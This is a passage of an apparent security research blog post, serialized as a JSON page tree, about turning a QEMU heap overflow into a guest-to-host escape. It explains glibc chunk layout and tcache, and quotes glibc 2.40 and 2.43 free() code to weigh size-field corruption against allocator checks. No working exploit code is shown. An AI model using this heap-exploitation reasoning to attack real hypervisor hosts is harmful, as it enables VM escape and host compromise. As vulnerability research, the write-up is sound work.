written?",{"type":23,"tag":546,"props":126029,"children":126031},{"id":126030},"achieving-a-better-primitive",[126032],{"type":28,"value":126033},"Achieving a Better Primitive",{"type":23,"tag":24,"props":126035,"children":126036},{},[126037],{"type":28,"value":126038},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":126040,"children":126041},{},[126042],{"type":28,"value":126043},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":126045,"children":126046},{},[126047],{"type":28,"value":126048},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":18881,"props":126050,"children":126052},{"id":126051},"glibc-allocator",[126053],{"type":28,"value":126054},"Glibc Allocator",{"type":23,"tag":24,"props":126056,"children":126057},{},[126058,126060,126067],{"type":28,"value":126059},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":458,"props":126061,"children":126064},{"href":126062,"rel":126063},"https://github.com/shellphish/how2heap",[462],[126065],{"type":28,"value":126066},"how2heap",{"type":28,"value":706},{"type":23,"tag":37341,"props":126069,"children":126071},{"id":126070},"chunk-layout-and-bins",[126072],{"type":28,"value":126073},"Chunk Layout and Bins",{"type":23,"tag":24,"props":126075,"children":126076},{},[126077],{"type":28,"value":126078},"A chunk looks like this:",{"type":23,"tag":31,"props":126080,"children":126082},{"code":126081},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[126083],{"type":23,"tag":37,"props":126084,"children":126085},{"__ignoreMap":7},[126086],{"type":28,"value":126081},{"type":23,"tag":24,"props":126088,"children":126089},{},[126090,126092,126098,126100,126106,126107,126112,126113,126119,126121,126126,126128,126133,126135,126141,126142,126148,126150,126156],{"type":28,"value":126091},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":37,"props":126093,"children":126095},{"className":126094},[],[126096],{"type":28,"value":126097},"prev_size",{"type":28,"value":126099}," field at offset ",{"type":23,"tag":37,"props":126101,"children":126103},{"className":126102},[],[126104],{"type":28,"value":126105},"0x0",{"type":28,"value":37545},{"type":23,"tag":37,"props":126108,"children":126110},{"className":126109},[],[126111],{"type":28,"value":123978},{"type":28,"value":126099},{"type":23,"tag":37,"props":126114,"children":126116},{"className":126115},[],[126117],{"type":28,"value":126118},"0x8",{"type":28,"value":126120},". As the name suggests, ",{"type":23,"tag":37,"props":126122,"children":126124},{"className":126123},[],[126125],{"type":28,"value":126097},{"type":28,"value":126127}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":37,"props":126129,"children":126131},{"className":126130},[],[126132],{"type":28,"value":123978},{"type":28,"value":126134}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":37,"props":126136,"children":126138},{"className":126137},[],[126139],{"type":28,"value":126140},"PREV_INUSE",{"type":28,"value":1361},{"type":23,"tag":37,"props":126143,"children":126145},{"className":126144},[],[126146],{"type":28,"value":126147},"IS_MMAPPED",{"type":28,"value":126149}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":37,"props":126151,"children":126153},{"className":126152},[],[126154],{"type":28,"value":126155},"0x10",{"type":28,"value":706},{"type":23,"tag":24,"props":126158,"children":126159},{},[126160],{"type":28,"value":126161},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":37341,"props":126163,"children":126165},{"id":126164},"free-path",[126166],{"type":28,"value":126167},"free() path",{"type":23,"tag":24,"props":126169,"children":126170},{},[126171,126173,126179],{"type":28,"value":126172},"Let’s first look at the ",{"type":23,"tag":37,"props":126174,"children":126176},{"className":126175},[],[126177],{"type":28,"value":126178},"free()",{"type":28,"value":126180}," path in glibc 2.40:",{"type":23,"tag":31,"props":126182,"children":126184},{"code":126183,"language":3146,"meta":7,"className":16503,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[126185],{"type":23,"tag":37,"props":126186,"children":126187},{"__ignoreMap":7},[126188,126216,126223,126231,126239,126246,126268,126289,126296,126309,126316,126324,126331,126344,126351,126372,126393,126400],{"type":23,"tag":41,"props":126189,"children":126190},{"class":43,"line":44},[126191,126196,126200,126204,126208,126212],{"type":23,"tag":41,"props":126192,"children":126193},{"style":114},[126194],{"type":28,"value":126195},"__libc_free",{"type":23,"tag":41,"props":126197,"children":126198},{"style":70},[126199],{"type":28,"value":142},{"type":23,"tag":41,"props":126201,"children":126202},{"style":64},[126203],{"type":28,"value":51622},{"type":23,"tag":41,"props":126205,"children":126206},{"style":170},[126207],{"type":28,"value":9814},{"type":23,"tag":41,"props":126209,"children":126210},{"style":858},[126211],{"type":28,"value":40654},{"type":23,"tag":41,"props":126213,"children":126214},{"style":70},[126215],{"type":28,"value":1969},{"type":23,"tag":41,"props":126217,"children":126218},{"class":43,"line":54},[126219],{"type":23,"tag":41,"props":126220,"children":126221},{"style":70},[126222],{"type":28,"value":1559},{"type":23,"tag":41,"props":126224,"children":126225},{"class":43,"line":76},[126226],{"type":23,"tag":41,"props":126227,"children":126228},{"style":70},[126229],{"type":28,"value":126230},"  mstate ar_ptr;\n",{"type":23,"tag":41,"props":126232,"children":126233},{"class":43,"line":85},[126234],{"type":23,"tag":41,"props":126235,"children":126236},{"style":70},[126237],{"type":28,"value":126238},"  mchunkptr p;\n",{"type":23,"tag":41,"props":126240,"children":126241},{"class":43,"line":105},[126242],{"type":23,"tag":41,"props":126243,"children":126244},{"emptyLinePlaceholder":18},[126245],{"type":28,"value":82},{"type":23,"tag":41,"props":126247,"children":126248},{"class":43,"line":155},[126249,126254,126258,126263],{"type":23,"tag":41,"props":126250,"children":126251},{"style":70},[126252],{"type":28,"value":126253},"  p ",{"type":23,"tag":41,"props":126255,"children":126256},{"style":170},[126257],{"type":28,"value":2381},{"type":23,"tag":41,"props":126259,"children":126260},{"style":114},[126261],{"type":28,"value":126262}," mem2chunk",{"type":23,"tag":41,"props":126264,"children":126265},{"style":70},[126266],{"type":28,"value":126267}," (mem);\n",{"type":23,"tag":41,"props":126269,"children":126270},{"class":43,"line":186},[126271,126275,126279,126284],{"type":23,"tag":41,"props":126272,"children":126273},{"style":58},[126274],{"type":28,"value":31388},{"type":23,"tag":41,"props":126276,"children":126277},{"style":70},[126278],{"type":28,"value":142},{"type":23,"tag":41,"props":126280,"children":126281},{"style":114},[126282],{"type":28,"value":126283},"chunk_is_mmapped",{"type":23,"tag":41,"props":126285,"children":126286},{"style":70},[126287],{"type":28,"value":126288}," (p))\n",{"type":23,"tag":41,"props":126290,"children":126291},{"class":43,"line":195},[126292],{"type":23,"tag":41,"props":126293,"children":126294},{"style":70},[126295],{"type":28,"value":1711},{"type":23,"tag":41,"props":126297,"children":126298},{"class":43,"line":905},[126299,126304],{"type":23,"tag":41,"props":126300,"children":126301},{"style":114},[126302],{"type":28,"value":126303},"      munmap_chunk",{"type":23,"tag":41,"props":126305,"children":126306},{"style":70},[126307],{"type":28,"value":126308}," (p);\n",{"type":23,"tag":41,"props":126310,"children":126311},{"class":43,"line":922},[126312],{"type":23,"tag":41,"props":126313,"children":126314},{"style":70},[126315],{"type":28,"value":192},{"type":23,"tag":41,"props":126317,"children":126318},{"class":43,"line":930},[126319],{"type":23,"tag":41,"props":126320,"children":126321},{"style":58},[126322],{"type":28,"value":126323},"  else\n",{"type":23,"tag":41,"props":126325,"children":126326},{"class":43,"line":939},[126327],{"type":23,"tag":41,"props":126328,"children":126329},{"style":70},[126330],{"type":28,"value":1711},{"type":23,"tag":41,"props":126332,"children":126333},{"class":43,"line":947},[126334,126339],{"type":23,"tag":41,"props":126335,"children":126336},{"style":114},[126337],{"type":28,"value":126338},"      MAYBE_INIT_TCACHE",{"type":23,"tag":41,"props":126340,"children":126341},{"style":70},[126342],{"type":28,"value":126343}," ();\n",{"type":23,"tag":41,"props":126345,"children":126346},{"class":43,"line":985},[126347],{"type":23,"tag":41,"props":126348,"children":126349},{"emptyLinePlaceholder":18},[126350],{"type":28,"value":82},{"type":23,"tag":41,"props":126352,"children":126353},{"class":43,"line":1058},[126354,126359,126363,126368],{"type":23,"tag":41,"props":126355,"children":126356},{"style":70},[126357],{"type":28,"value":126358},"      ar_ptr ",{"type":23,"tag":41,"props":126360,"children":126361},{"style":170},[126362],{"type":28,"value":2381},{"type":23,"tag":41,"props":126364,"children":126365},{"style":114},[126366],{"type":28,"value":126367}," arena_for_chunk",{"type":23,"tag":41,"props":126369,"children":126370},{"style":70},[126371],{"type":28,"value":126308},{"type":23,"tag":41,"props":126373,"children":126374},{"class":43,"line":1084},[126375,126380,126385,126389],{"type":23,"tag":41,"props":126376,"children":126377},{"style":114},[126378],{"type":28,"value":126379},"      _int_free",{"type":23,"tag":41,"props":126381,"children":126382},{"style":70},[126383],{"type":28,"value":126384}," (ar_ptr, p, ",{"type":23,"tag":41,"props":126386,"children":126387},{"style":164},[126388],{"type":28,"value":4024},{"type":23,"tag":41,"props":126390,"children":126391},{"style":70},[126392],{"type":28,"value":3825},{"type":23,"tag":41,"props":126394,"children":126395},{"class":43,"line":1102},[126396],{"type":23,"tag":41,"props":126397,"children":126398},{"style":70},[126399],{"type":28,"value":192},{"type":23,"tag":41,"props":126401,"children":126402},{"class":43,"line":1110},[126403],{"type":23,"tag":41,"props":126404,"children":126405},{"style":70},[126406],{"type":28,"value":201},{"type":23,"tag":24,"props":126408,"children":126409},{},[126410,126412,126417,126419,126424,126426,126432,126434,126440,126442,126447,126449,126454,126456,126461,126463,126468],{"type":28,"value":126411},"We can see that if the ",{"type":23,"tag":37,"props":126413,"children":126415},{"className":126414},[],[126416],{"type":28,"value":126147},{"type":28,"value":126418}," bit is set in the corrupted ",{"type":23,"tag":37,"props":126420,"children":126422},{"className":126421},[],[126423],{"type":28,"value":123978},{"type":28,"value":126425}," field, glibc will call ",{"type":23,"tag":37,"props":126427,"children":126429},{"className":126428},[],[126430],{"type":28,"value":126431},"munmap_chunk",{"type":28,"value":126433},", which internally checks that ",{"type":23,"tag":37,"props":126435,"children":126437},{"className":126436},[],[126438],{"type":28,"value":126439},"prev_size + size",{"type":28,"value":126441}," is page-aligned. To reach the ",{"type":23,"tag":37,"props":126443,"children":126445},{"className":126444},[],[126446],{"type":28,"value":123978},{"type":28,"value":126448}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":37,"props":126450,"children":126452},{"className":126451},[],[126453],{"type":28,"value":126097},{"type":28,"value":126455}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":37,"props":126457,"children":126459},{"className":126458},[],[126460],{"type":28,"value":126439},{"type":28,"value":126462}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":37,"props":126464,"children":126466},{"className":126465},[],[126467],{"type":28,"value":126147},{"type":28,"value":126469}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":126471,"children":126472},{},[126473,126475,126480,126482,126488],{"type":28,"value":126474},"Assuming ",{"type":23,"tag":37,"props":126476,"children":126478},{"className":126477},[],[126479],{"type":28,"value":126147},{"type":28,"value":126481}," is not set, execution continues into ",{"type":23,"tag":37,"props":126483,"children":126485},{"className":126484},[],[126486],{"type":28,"value":126487},"_int_free",{"type":28,"value":1474},{"type":23,"tag":31,"props":126490,"children":126492},{"code":126491,"language":3146,"meta":7,"className":16503,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[126493],{"type":23,"tag":37,"props":126494,"children":126495},{"__ignoreMap":7},[126496,126508,126551,126558,126566,126573,126594,126601,126609,126617,126625,126633,126697,126732,126753,126761,126769,126817,126837,126844,126857,126864],{"type":23,"tag":41,"props":126497,"children":126498},{"class":43,"line":44},[126499,126503],{"type":23,"tag":41,"props":126500,"children":126501},{"style":64},[126502],{"type":28,"value":51039},{"type":23,"tag":41,"props":126504,"children":126505},{"style":64},[126506],{"type":28,"value":126507}," void\n",{"type":23,"tag":41,"props":126509,"children":126510},{"class":43,"line":54},[126511,126515,126520,126525,126530,126534,126538,126542,126547],{"type":23,"tag":41,"props":126512,"children":126513},{"style":114},[126514],{"type":28,"value":126487},{"type":23,"tag":41,"props":126516,"children":126517},{"style":70},[126518],{"type":28,"value":126519}," (mstate ",{"type":23,"tag":41,"props":126521,"children":126522},{"style":858},[126523],{"type":28,"value":126524},"av",{"type":23,"tag":41,"props":126526,"children":126527},{"style":70},[126528],{"type":28,"value":126529},", mchunkptr ",{"type":23,"tag":41,"props":126531,"children":126532},{"style":858},[126533],{"type":28,"value":24},{"type":23,"tag":41,"props":126535,"children":126536},{"style":70},[126537],{"type":28,"value":970},{"type":23,"tag":41,"props":126539,"children":126540},{"style":64},[126541],{"type":28,"value":1124},{"type":23,"tag":41,"props":126543,"children":126544},{"style":858},[126545],{"type":28,"value":126546}," have_lock",{"type":23,"tag":41,"props":126548,"children":126549},{"style":70},[126550],{"type":28,"value":1969},{"type":23,"tag":41,"props":126552,"children":126553},{"class":43,"line":76},[126554],{"type":23,"tag":41,"props":126555,"children":126556},{"style":70},[126557],{"type":28,"value":1559},{"type":23,"tag":41,"props":126559,"children":126560},{"class":43,"line":85},[126561],{"type":23,"tag":41,"props":126562,"children":126563},{"style":70},[126564],{"type":28,"value":126565},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":41,"props":126567,"children":126568},{"class":43,"line":105},[126569],{"type":23,"tag":41,"props":126570,"children":126571},{"emptyLinePlaceholder":18},[126572],{"type":28,"value":82},{"type":23,"tag":41,"props":126574,"children":126575},{"class":43,"line":155},[126576,126581,126585,126590],{"type":23,"tag":41,"props":126577,"children":126578},{"style":70},[126579],{"type":28,"value":126580},"  size ",{"type":23,"tag":41,"props":126582,"children":126583},{"style":170},[126584],{"type":28,"value":2381},{"type":23,"tag":41,"props":126586,"children":126587},{"style":114},[126588],{"type":28,"value":126589}," chunksize",{"type":23,"tag":41,"props":126591,"children":126592},{"style":70},[126593],{"type":28,"value":126308},{"type":23,"tag":41,"props":126595,"children":126596},{"class":43,"line":186},[126597],{"type":23,"tag":41,"props":126598,"children":126599},{"emptyLinePlaceholder":18},[126600],{"type":28,"value":82},{"type":23,"tag":41,"props":126602,"children":126603},{"class":43,"line":195},[126604],{"type":23,"tag":41,"props":126605,"children":126606},{"style":48},[126607],{"type":28,"value":126608},"  /* Little security check which won't hurt performance: the\n",{"type":23,"tag":41,"props":126610,"children":126611},{"class":43,"line":905},[126612],{"type":23,"tag":41,"props":126613,"children":126614},{"style":48},[126615],{"type":28,"value":126616},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":41,"props":126618,"children":126619},{"class":43,"line":922},[126620],{"type":23,"tag":41,"props":126621,"children":126622},{"style":48},[126623],{"type":28,"value":126624},"     Therefore we can exclude some size values which might appear\n",{"type":23,"tag":41,"props":126626,"children":126627},{"class":43,"line":930},[126628],{"type":23,"tag":41,"props":126629,"children":126630},{"style":48},[126631],{"type":28,"value":126632},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":41,"props":126634,"children":126635},{"class":43,"line":939},[126636,126640,126644,126649,126654,126659,126664,126668,126672,126676,126680,126684,126689,126693],{"type":23,"tag":41,"props":126637,"children":126638},{"style":58},[126639],{"type":28,"value":31388},{"type":23,"tag":41,"props":126641,"children":126642},{"style":70},[126643],{"type":28,"value":142},{"type":23,"tag":41,"props":126645,"children":126646},{"style":114},[126647],{"type":28,"value":126648},"__builtin_expect",{"type":23,"tag":41,"props":126650,"children":126651},{"style":70},[126652],{"type":28,"value":126653}," ((",{"type":23,"tag":41,"props":126655,"children":126656},{"style":64},[126657],{"type":28,"value":126658},"uintptr_t",{"type":23,"tag":41,"props":126660,"children":126661},{"style":70},[126662],{"type":28,"value":126663},") p ",{"type":23,"tag":41,"props":126665,"children":126666},{"style":170},[126667],{"type":28,"value":1022},{"type":23,"tag":41,"props":126669,"children":126670},{"style":70},[126671],{"type":28,"value":142},{"type":23,"tag":41,"props":126673,"children":126674},{"style":64},[126675],{"type":28,"value":126658},{"type":23,"tag":41,"props":126677,"children":126678},{"style":70},[126679],{"type":28,"value":866},{"type":23,"tag":41,"props":126681,"children":126682},{"style":170},[126683],{"type":28,"value":4329},{"type":23,"tag":41,"props":126685,"children":126686},{"style":70},[126687],{"type":28,"value":126688},"size, ",{"type":23,"tag":41,"props":126690,"children":126691},{"style":164},[126692],{"type":28,"value":4024},{"type":23,"tag":41,"props":126694,"children":126695},{"style":70},[126696],{"type":28,"value":1969},{"type":23,"tag":41,"props":126698,"children":126699},{"class":43,"line":947},[126700,126705,126710,126714,126719,126724,126728],{"type":23,"tag":41,"props":126701,"children":126702},{"style":170},[126703],{"type":28,"value":126704},"      ||",{"type":23,"tag":41,"props":126706,"children":126707},{"style":114},[126708],{"type":28,"value":126709}," __builtin_expect",{"type":23,"tag":41,"props":126711,"children":126712},{"style":70},[126713],{"type":28,"value":142},{"type":23,"tag":41,"props":126715,"children":126716},{"style":114},[126717],{"type":28,"value":126718},"misaligned_chunk",{"type":23,"tag":41,"props":126720,"children":126721},{"style":70},[126722],{"type":28,"value":126723}," (p), ",{"type":23,"tag":41,"props":126725,"children":126726},{"style":164},[126727],{"type":28,"value":4024},{"type":23,"tag":41,"props":126729,"children":126730},{"style":70},[126731],{"type":28,"value":19700},{"type":23,"tag":41,"props":126733,"children":126734},{"class":43,"line":985},[126735,126740,126744,126749],{"type":23,"tag":41,"props":126736,"children":126737},{"style":114},[126738],{"type":28,"value":126739},"    malloc_printerr",{"type":23,"tag":41,"props":126741,"children":126742},{"style":70},[126743],{"type":28,"value":142},{"type":23,"tag":41,"props":126745,"children":126746},{"style":735},[126747],{"type":28,"value":126748},"\"free(): invalid pointer\"",{"type":23,"tag":41,"props":126750,"children":126751},{"style":70},[126752],{"type":28,"value":3825},{"type":23,"tag":41,"props":126754,"children":126755},{"class":43,"line":1058},[126756],{"type":23,"tag":41,"props":126757,"children":126758},{"style":48},[126759],{"type":28,"value":126760},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":41,"props":126762,"children":126763},{"class":43,"line":1084},[126764],{"type":23,"tag":41,"props":126765,"children":126766},{"style":48},[126767],{"type":28,"value":126768},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":41,"props":126770,"children":126771},{"class":43,"line":1102},[126772,126776,126780,126785,126790,126794,126799,126803,126807,126812],{"type":23,"tag":41,"props":126773,"children":126774},{"style":58},[126775],{"type":28,"value":31388},{"type":23,"tag":41,"props":126777,"children":126778},{"style":70},[126779],{"type":28,"value":142},{"type":23,"tag":41,"props":126781,"children":126782},{"style":114},[126783],{"type":28,"value":126784},"__glibc_unlikely",{"type":23,"tag":41,"props":126786,"children":126787},{"style":70},[126788],{"type":28,"value":126789}," (size ",{"type":23,"tag":41,"props":126791,"children":126792},{"style":170},[126793],{"type":28,"value":1012},{"type":23,"tag":41,"props":126795,"children":126796},{"style":70},[126797],{"type":28,"value":126798}," MINSIZE ",{"type":23,"tag":41,"props":126800,"children":126801},{"style":170},[126802],{"type":28,"value":22405},{"type":23,"tag":41,"props":126804,"children":126805},{"style":170},[126806],{"type":28,"value":12859},{"type":23,"tag":41,"props":126808,"children":126809},{"style":114},[126810],{"type":28,"value":126811},"aligned_OK",{"type":23,"tag":41,"props":126813,"children":126814},{"style":70},[126815],{"type":28,"value":126816}," (size)))\n",{"type":23,"tag":41,"props":126818,"children":126819},{"class":43,"line":1110},[126820,126824,126828,126833],{"type":23,"tag":41,"props":126821,"children":126822},{"style":114},[126823],{"type":28,"value":126739},{"type":23,"tag":41,"props":126825,"children":126826},{"style":70},[126827],{"type":28,"value":142},{"type":23,"tag":41,"props":126829,"children":126830},{"style":735},[126831],{"type":28,"value":126832},"\"free(): invalid size\"",{"type":23,"tag":41,"props":126834,"children":126835},{"style":70},[126836],{"type":28,"value":3825},{"type":23,"tag":41,"props":126838,"children":126839},{"class":43,"line":1118},[126840],{"type":23,"tag":41,"props":126841,"children":126842},{"emptyLinePlaceholder":18},[126843],{"type":28,"value":82},{"type":23,"tag":41,"props":126845,"children":126846},{"class":43,"line":1137},[126847,126852],{"type":23,"tag":41,"props":126848,"children":126849},{"style":114},[126850],{"type":28,"value":126851},"  check_inuse_chunk",{"type":23,"tag":41,"props":126853,"children":126854},{"style":70},[126855],{"type":28,"value":126856},"(av, p);\n",{"type":23,"tag":41,"props":126858,"children":126859},{"class":43,"line":1163},[126860],{"type":23,"tag":41,"props":126861,"children":126862},{"emptyLinePlaceholder":18},[126863],{"type":28,"value":82},{"type":23,"tag":41,"props":126865,"children":126866},{"class":43,"line":1188},[126867],{"type":23,"tag":41,"props":126868,"children":126869},{"style":70},[126870],{"type":28,"value":126871},"  [...]\n",{"type":23,"tag":24,"props":126873,"children":126874},{},[126875],{"type":28,"value":126876},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":126878,"children":126879},{},[126880,126882,126887,126889,126894,126896,126901,126903,126908],{"type":28,"value":126881},"The next check, however, ensures that the ",{"type":23,"tag":37,"props":126883,"children":126885},{"className":126884},[],[126886],{"type":28,"value":123978},{"type":28,"value":126888}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":37,"props":126890,"children":126892},{"className":126891},[],[126893],{"type":28,"value":123978},{"type":28,"value":126895}," must preserve alignment while also avoiding the ",{"type":23,"tag":37,"props":126897,"children":126899},{"className":126898},[],[126900],{"type":28,"value":126147},{"type":28,"value":126902}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":37,"props":126904,"children":126906},{"className":126905},[],[126907],{"type":28,"value":123978},{"type":28,"value":126909}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":126911,"children":126912},{},[126913],{"type":28,"value":126914},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":31,"props":126916,"children":126918},{"code":126917,"language":3146,"meta":7,"className":16503,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[126919],{"type":23,"tag":37,"props":126920,"children":126921},{"__ignoreMap":7},[126922,126930,126957,126964,126971,126978,126997,127004,127024,127031,127059,127083,127090,127103,127145,127152,127160,127167,127184],{"type":23,"tag":41,"props":126923,"children":126924},{"class":43,"line":44},[126925],{"type":23,"tag":41,"props":126926,"children":126927},{"style":64},[126928],{"type":28,"value":126929},"void\n",{"type":23,"tag":41,"props":126931,"children":126932},{"class":43,"line":54},[126933,126937,126941,126945,126949,126953],{"type":23,"tag":41,"props":126934,"children":126935},{"style":114},[126936],{"type":28,"value":126195},{"type":23,"tag":41,"props":126938,"children":126939},{"style":70},[126940],{"type":28,"value":142},{"type":23,"tag":41,"props":126942,"children":126943},{"style":64},[126944],{"type":28,"value":51622},{"type":23,"tag":41,"props":126946,"children":126947},{"style":170},[126948],{"type":28,"value":9814},{"type":23,"tag":41,"props":126950,"children":126951},{"style":858},[126952],{"type":28,"value":40654},{"type":23,"tag":41,"props":126954,"children":126955},{"style":70},[126956],{"type":28,"value":1969},{"type":23,"tag":41,"props":126958,"children":126959},{"class":43,"line":76},[126960],{"type":23,"tag":41,"props":126961,"children":126962},{"style":70},[126963],{"type":28,"value":1559},{"type":23,"tag":41,"props":126965,"children":126966},{"class":43,"line":85},[126967],{"type":23,"tag":41,"props":126968,"children":126969},{"style":70},[126970],{"type":28,"value":126238},{"type":23,"tag":41,"props":126972,"children":126973},{"class":43,"line":105},[126974],{"type":23,"tag":41,"props":126975,"children":126976},{"emptyLinePlaceholder":18},[126977],{"type":28,"value":82},{"type":23,"tag":41,"props":126979,"children":126980},{"class":43,"line":155},[126981,126985,126989,126993],{"type":23,"tag":41,"props":126982,"children":126983},{"style":70},[126984],{"type":28,"value":126253},{"type":23,"tag":41,"props":126986,"children":126987},{"style":170},[126988],{"type":28,"value":2381},{"type":23,"tag":41,"props":126990,"children":126991},{"style":114},[126992],{"type":28,"value":126262},{"type":23,"tag":41,"props":126994,"children":126995},{"style":70},[126996],{"type":28,"value":126267},{"type":23,"tag":41,"props":126998,"children":126999},{"class":43,"line":186},[127000],{"type":23,"tag":41,"props":127001,"children":127002},{"emptyLinePlaceholder":18},[127003],{"type":28,"value":82},{"type":23,"tag":41,"props":127005,"children":127006},{"class":43,"line":195},[127007,127012,127016,127020],{"type":23,"tag":41,"props":127008,"children":127009},{"style":70},[127010],{"type":28,"value":127011},"  INTERNAL_SIZE_T size ",{"type":23,"tag":41,"props":127013,"children":127014},{"style":170},[127015],{"type":28,"value":2381},{"type":23,"tag":41,"props":127017,"children":127018},{"style":114},[127019],{"type":28,"value":126589},{"type":23,"tag":41,"props":127021,"children":127022},{"style":70},[127023],{"type":28,"value":126308},{"type":23,"tag":41,"props":127025,"children":127026},{"class":43,"line":905},[127027],{"type":23,"tag":41,"props":127028,"children":127029},{"emptyLinePlaceholder":18},[127030],{"type":28,"value":82},{"type":23,"tag":41,"props":127032,"children":127033},{"class":43,"line":922},[127034,127038,127042,127046,127050,127054],{"type":23,"tag":41,"props":127035,"children":127036},{"style":58},[127037],{"type":28,"value":31388},{"type":23,"tag":41,"props":127039,"children":127040},{"style":70},[127041],{"type":28,"value":142},{"type":23,"tag":41,"props":127043,"children":127044},{"style":114},[127045],{"type":28,"value":126784},{"type":23,"tag":41,"props":127047,"children":127048},{"style":70},[127049],{"type":28,"value":142},{"type":23,"tag":41,"props":127051,"children":127052},{"style":114},[127053],{"type":28,"value":126718},{"type":23,"tag":41,"props":127055,"children":127056},{"style":70},[127057],{"type":28,"value":127058}," (p)))\n",{"type":23,"tag":41,"props":127060,"children":127061},{"class":43,"line":930},[127062,127066,127071,127075,127079],{"type":23,"tag":41,"props":127063,"children":127064},{"style":58},[127065],{"type":28,"value":1090},{"type":23,"tag":41,"props":127067,"children":127068},{"style":114},[127069],{"type":28,"value":127070}," malloc_printerr_tail",{"type":23,"tag":41,"props":127072,"children":127073},{"style":70},[127074],{"type":28,"value":142},{"type":23,"tag":41,"props":127076,"children":127077},{"style":735},[127078],{"type":28,"value":126748},{"type":23,"tag":41,"props":127080,"children":127081},{"style":70},[127082],{"type":28,"value":3825},{"type":23,"tag":41,"props":127084,"children":127085},{"class":43,"line":939},[127086],{"type":23,"tag":41,"props":127087,"children":127088},{"emptyLinePlaceholder":18},[127089],{"type":28,"value":82},{"type":23,"tag":41,"props":127091,"children":127092},{"class":43,"line":947},[127093,127098],{"type":23,"tag":41,"props":127094,"children":127095},{"style":58},[127096],{"type":28,"value":127097},"#if",{"type":23,"tag":41,"props":127099,"children":127100},{"style":114},[127101],{"type":28,"value":127102}," USE_TCACHE\n",{"type":23,"tag":41,"props":127104,"children":127105},{"class":43,"line":985},[127106,127110,127114,127119,127123,127127,127132,127136,127141],{"type":23,"tag":41,"props":127107,"children":127108},{"style":58},[127109],{"type":28,"value":31388},{"type":23,"tag":41,"props":127111,"children":127112},{"style":70},[127113],{"type":28,"value":142},{"type":23,"tag":41,"props":127115,"children":127116},{"style":114},[127117],{"type":28,"value":127118},"__glibc_likely",{"type":23,"tag":41,"props":127120,"children":127121},{"style":70},[127122],{"type":28,"value":126789},{"type":23,"tag":41,"props":127124,"children":127125},{"style":170},[127126],{"type":28,"value":1012},{"type":23,"tag":41,"props":127128,"children":127129},{"style":858},[127130],{"type":28,"value":127131}," 